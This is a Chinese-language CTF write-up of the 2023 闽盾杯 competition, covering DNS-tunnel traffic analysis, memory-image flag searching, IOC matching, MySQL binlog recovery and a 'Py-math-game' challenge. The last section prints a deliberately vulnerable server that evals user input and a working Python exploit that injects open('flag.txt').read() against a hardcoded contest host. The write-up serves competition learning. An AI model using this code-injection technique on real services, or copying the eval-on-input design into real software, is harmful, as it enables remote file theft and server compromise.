2023 闽盾杯 Writeup

第一次参加正式的 CTF 比赛。5 月 25 日参加线上初赛，26 日继续打复赛，最后进了高职组线下决赛。6 月 3 日到福建师范大学参加决赛，最后差一道题获奖，还是挺可惜的。

入场核验时的帅照

我们的宝座

DNS-流量分析

拿到附件以后直接用 Wireshark 打开。看 DNS 流量的时候发现请求名称明显不正常，里面是一长串十六进制数据。继续看了一下，可以发现这些数据实际上对应一个 ZIP 压缩包。

把 DNS 请求里面的数据提取出来，然后按照 hex 还原，得到压缩包。

压缩包还有密码，直接爆破。

QZ

附件后缀是：.lime

看起来应该是一道 Linux 内存取证。不过先不折腾复杂的，直接用十六进制编辑器梭哈。

先搜索：flag

没有找到，于是换个思路，尝试搜索经过 Base64 编码以后的 flag 头。flag👉ZmxhZw

这次可以找到对应内容，继续往后看即可得到 flag。Misc 有时候也没必要一开始就想得太复杂，strings、hex、编码之类能先扫一遍就先扫一遍，能直接出当然最好。

威胁情报分析1

题目给了两个 JSON 数据文件：ioc.txt和network.txt

看了一下内容，`ioc.txt` 里面存的是 IOC 威胁情报，`network.txt` 里面则是网络流量信息。题目实际上就是要从网络流量里面找到和 IOC 匹配的 IP 地址，所以直接把两边的 IP 提取出来取交集即可。

写个 Python 简单处理：

import json

def extract_net(file_path):
    ips = set()
    with open(file_path, 'r', encoding='utf-8') as file:
        data = json.load(file)
        for entry in data:
            src_ip = entry.get('SrcHost')
            dest_ip = entry.get('DestHost')
            if src_ip:
                ips.add(src_ip)
            if dest_ip:
                ips.add(dest_ip)
    return ips

def extract_ioc(file_path):
    ips = set()
    with open(file_path, 'r', encoding='utf-8') as file:
        data = json.load(file)
        for entry in data:
            if entry.get('type') == 'ip':
                ips.add(entry.get('ioc'))
    return ips

def analyze(network_file, ioc_file):
    network_ips = extract_net(network_file)
    malicious_ips = extract_ioc(ioc_file)
    matched_ips = network_ips.intersection(malicious_ips)
    return matched_ips

network_file_path = 'network.txt'
ioc_file_path = 'ioc.txt'
matched_ips = analyze(network_file_path, ioc_file_path)

for ip in matched_ips:
    print(ip)
// 46.21.82.234

得到：

46.21.82.234

提交即可。

mylog

附件名字是：mylog.000001

很明显是 MySQL 的二进制日志文件。

直接用 `mysqlbinlog` 还原导出：mysqlbinlog.exe --no-defaults mylog.000001 > out.txt

然后打开导出的 `out.txt` 查看日志内容。

从里面可以直接得到：flag{heidun-2023-heidun}

这题比较直接，认出文件是什么以后基本就结束了。

Py-math-game

import binascii
import socketserver
import random
import os
import time

class MyServer(socketserver.BaseRequestHandler):
    def handle(self):
        conn = self.request
        cli = str(self.client_address)
        print("Connected..." + cli)
        tmp = binascii.crc32(self.client_address[0].encode())
        tmp = str(tmp)
        print("debug: " + tmp)
        math = ''
        starttime = time.time()
        while True:
            try:
                out = str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                math = tmp + ' + ' + out
                math = math.replace('X', '*')
                out = 'Answer my question:\nn = ' + tmp + '\nn + ' + out + ' = ?\nInput your answer in 3 seconds:'
                conn.send(out.encode())
                data = conn.recv(128)
                if (time.time() - starttime) > 3:
                    conn.sendall('Too late! Too slow! Try again.\n'.encode())
                    break
                if len(data) == 0:
                    print(cli + " closed.")
                    break
                data = data.decode('utf-8')
                print(cli + ":" + data)
                if '\n' in data:
                    data = data[0:data.find('\n')]
                an = eval(math)
                if str(an) == data:
                    out = 'OK!\nI will answer your question (example: 2X2+2-1):\n'
                    conn.send(out.encode())
                    data = conn.recv(128)
                    if len(data) == 0:
                        print(cli + " closed.")
                        break
                    data = data.decode('utf-8')
                    print(cli + ":" + data)
                    data = data.replace('X', '*')
                    data = data.replace(' x ', '*')
                    data = data.replace('?', ' ')
                    data = data.replace('=', ' ')
                    out = str(eval(data))
                    if out == '':
                        out = 'Finish, but output nothing.'
                    out = out + '\n\n'
                    conn.send(out.encode())
                else:
                    conn.sendall('Wrong!\n'.encode())
                    print(cli + " closed.")
                    break

            except Exception as e:
                print(cli + " closed.")
                conn.sendall('Error!\n'.encode())
                break

    def randchar(self):
        chars = '+-X'
        n = random.randint(0, len(chars) - 1)
        return ' ' + chars[n] + ' '

    def serve_forever(self, poll_interval=0.5):
        """
        Handle one request at a time until shutdown.
        Polls for shutdown every poll_interval seconds. Ignores self.timeout.
        If you need to do periodic tasks, do them in another thread.
        """

if __name__ == "__main__":
    server = socketserver.ThreadingTCPServer(('0.0.0.0', 8080), MyServer)
    print('ready...')
    server.serve_forever()

import socket

# 连接NC服务器
def connect_to_server():
    host = '39.104.26.167'
    port = 6894
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    return client_socket

# 接收并解析服务器的问题
def receive_question(socket):
    data = socket.recv(1024).decode().strip()
    question = data.split('\n')[-2]
    question = question[:-4]
    n = data.split('\n')[-3]
    question = question.replace('n', n)
    question = question[4:]
    return question

# 计算问题的答案
def calculate_answer(question):
    question = question.replace('X', '*')
    answer = eval(question)
    return str(answer)

# 发送答案给服务器
def send_answer(socket, answer):
    socket.send((answer + '\n').encode())

# 获取服务器返回的结果
def get_result(socket):
    data = socket.recv(1024).decode().strip()
    return data

# 主函数
def main():
    # 连接服务器
    client_socket = connect_to_server()

    # 接收问题
    question = receive_question(client_socket)
    print('Question:', question)

    # 计算答案
    answer = calculate_answer(question)
    print('Answer:', answer)

    # 发送答案
    send_answer(client_socket, answer)

    result = get_result(client_socket)
    print('Result:', result)

    # 发送问题
    send_answer(client_socket, 'open("flag.txt").read()')

    # 接收结果
    result = get_result(client_socket)
    print('Result:', result)

if __name__ == '__main__':
    main()